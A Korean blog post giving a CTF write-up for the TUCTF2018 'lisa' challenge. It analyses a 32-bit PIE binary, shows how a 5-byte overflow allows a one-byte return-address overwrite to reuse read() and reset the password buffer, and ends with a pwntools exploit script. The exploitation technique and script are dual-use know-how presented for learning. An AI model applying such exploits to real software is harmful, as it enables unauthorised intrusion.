ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • TUCTF2018 lisa Writeup
    System/CTF 2019. 1. 14. 02:37

    [ Binary Info ]

    32Bit 바이너리이며, shared object으로 PIE가 적용되어 있다.

    PIE와 NX를 제외한 제약사항이 없기 때문에

    개인적으로 PIE를 처음 접한다면 입문용 문제로 괜찮다고 생각한다.


    lisa

    ( 로컬서버에서는 같은 디렉터리에 password와 flag파일을 만들어줘야 합니다. )


    문제의 난이도는 PIE를 제대로 이해한 사람에게는 쉬웠을 것이고

    나처럼 PIE가 익숙치 않은 사람에게는 어렵게 느껴졌을 것이다.

    따라서, 무작정 풀다가 어려움을 느끼고 라이트업을 보러오신 분들은 [PIE 보호기법 정리] 를 먼저 보시고

    다시 한번 풀어보는 것을 추천드리고 싶다!


    [ Binary 실행 ]

    바이너리를 실행하면 주소 하나를 릭해준다.

    그리고 두 번의 입력을 받고 프로그램이 종료된다.

    대충 이렇게 흐름을 눈에 익혀두고 IDA로 정적분석을 해보도록 한다.


    [ 정적분석#1 ]

    릭 해주는 주소의 정체는 동적할당된 pass변수의 주소였고, 

    pass에는 같은 디렉터리에 있는 password내용이 저장되어 있다.


    그리고 첫번째 입력 값은 s에 저장된 후 inp포인터 변수에 s의 주소값이 저장된다.

    s의 크기는 [EBP-0x34](52Byte)이고, 입력 크기는 0x30(48Byte)이므로 안전한 상태이다.


    [ 정적분석#2 ]

    check Pass( )에서는 우리가 입력한 값을 pass와 비교해서 분기시키는 함수이다.

    이때 fail( )로 분기될 때, buf변수의 주소값을 인자로 넘겨주는 것을 확인할 수 있는데

    buf의 크기가 24Byte인 것을 알아두도록 하고, lisa( )부터 분석해보자


    [ 정적분석#3 ]

    모나리자당

    중간에 flag값을 출력해준다.

    패드워드를 맞추면 flag를 출력해주는 문제인 듯하다.


    [ 정적분석#4 ]

    패스워드를 맞추지 못하면 fail( )로 분기되고 두번째 입력을 받는다.

    이때, buf에 29Byte를 저장하면서 5Byte BoF가 발생하게 된다.

    32Bit니까 SFP와 RET 1Byte를 핸들링할 수 있게 된다.


    또한, buf는 이전 함수인 checkPass( )의 변수인 점을 기억해야 한다.

    우리가 핸들링할 수 있는 덮어쓸 수 있는 곳은 fail( )가 아닌 checkPass( )인 것 이다.

    이 점을 포인트로 잡고 익스플로잇 단계로 넘어가도록 한다.


    [ Exploit ]

    우선 문제에서 우리에게 주는 주소값을 활용을 하는 선에서 생각을 해보자

    웬만한 상황 아니고서는 저런 값을 낚시성으로 던져주지는 않으니.


    제일 먼저 떠오른 방법은 puts( )를 이용해서 password값을 알아내보자! 였다.

    하지만 이 방법은 불가능했다.

    우리가 핸들링할 수 있는 RET는 1Byte뿐이고, FakeEBP를 사용하기에는 PIE로 인해서 주소값이

    계속해서 바뀌기 때문이다.


    GDB로 분석해보면서 자세히 알아보도록 하자

    [ GDB#1 ]

    우선 checkPass( )의 RET 부분에 BP를 걸고 실행을 해본다.


    [ GDB#2 ]

    확인해보면 EIP에 [0x56555d22]가 저장되어 있고, 해당 주소는 main( )에 위치한 주소이다.


    [ GDB#3 ]

    main( )에서 call 명령어로 checkPass( )를 호출했으니 함수가 종료되면

    call 인스트럭션 다음 명령어 주소인 [0x56555d22]로 복귀하는 하는 흐름인 것이다.


    여기서 하나 알고가야할 것이 있다. 

    PIE의 주소랜덤화는 Base주소에 offset을 더하는 방식으로 이루어진다.

    따라서, 변하는 것은 Base주소이고 offset값은 고정된 값이다.


    [ PIE 주소 offset ]

    위와 같이 Code영역의 주소값이 상대적인 주소(offset)로 바뀌게 되는데

    이 값이 매 번 바뀌는 Base주소에 더해져서 Code의 위치를 찾아가게 되는 것이다.


    따라서, 1Byte의 RET를 핸들링할 수 있는 우리는 [0xdxx] 범위안의 Code를 재사용할 수 있게 된다.

    범위안에는 read( )가 존재하며, 이 함수를 이용해보도록 한다.


    근데 한가지 문제점이 생긴다.

    read( )를 재사용하려면 인자를 맞쳐줘야 하는데, 32Bit니까 [ESP],[ESP+4],[ESP+8]에 이쁘게 위치해 있어야 한다.


    [ GDB#4 ]

    자, 빨간박스 부분을 보면 checkPass( )를 호출하기 전에 ESP에 12Byte만큼 더해준다.

    read( )를 호출하기 전에 push로 쌓인 스택을 정리해주는 모습이다. (4Byte*3)


    사실 저부분 말고도 모든 함수를 실행한 뒤, 스택을 항상 정리해주고 있었다.

    이 말은 즉, 우리가 첫 번째 입력했던 값이 항상 [ESP],[ESP+4],[ESP+8]순으로 정렬되고 있음을 의미한다.


    따라서, 첫번째 입력때 인자구성을 [fd/pass의 주소값/size]으로 맞춰서 pass값을 초기화 시키면

    checkPass( )에서 fail( )가 아닌 lisa( )가 실행될 것이다.


    [ PAYLOAD ]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    from pwn import *
    = process("./lisa")
     
    print p.recvuntil("0x")
    leak = int(p.recv(8),16)
    print "leak: "+hex(leak)
     
    #read() Arg Setting
    payload = p32(0# Arg0
    payload += p32(leak) #Arg1 
    payload += p32(1)    #Arg2
    print p.recvuntil("...\n")
    p.sendline(payload)
     
    print p.recvuntil("Ugh! You kiss your mother with that mouth?\n")
    p.send("\x15"*29)
    p.send("\x00")
    p.interactive()
    cs



    'System > CTF' 카테고리의 다른 글

    [2019picoCTF] droids0  (0) 2019.10.12
    [64bit] FSB Exploit Generator  (0) 2019.07.10
    Meepwn 2018 White snow, Black shadow Writeup  (3) 2019.03.02
    2018 CCE Qual Writeup - note [pwn]  (0) 2018.10.02
    CTF Tools 정리  (0) 2018.09.30

    댓글

Designed by Tistory.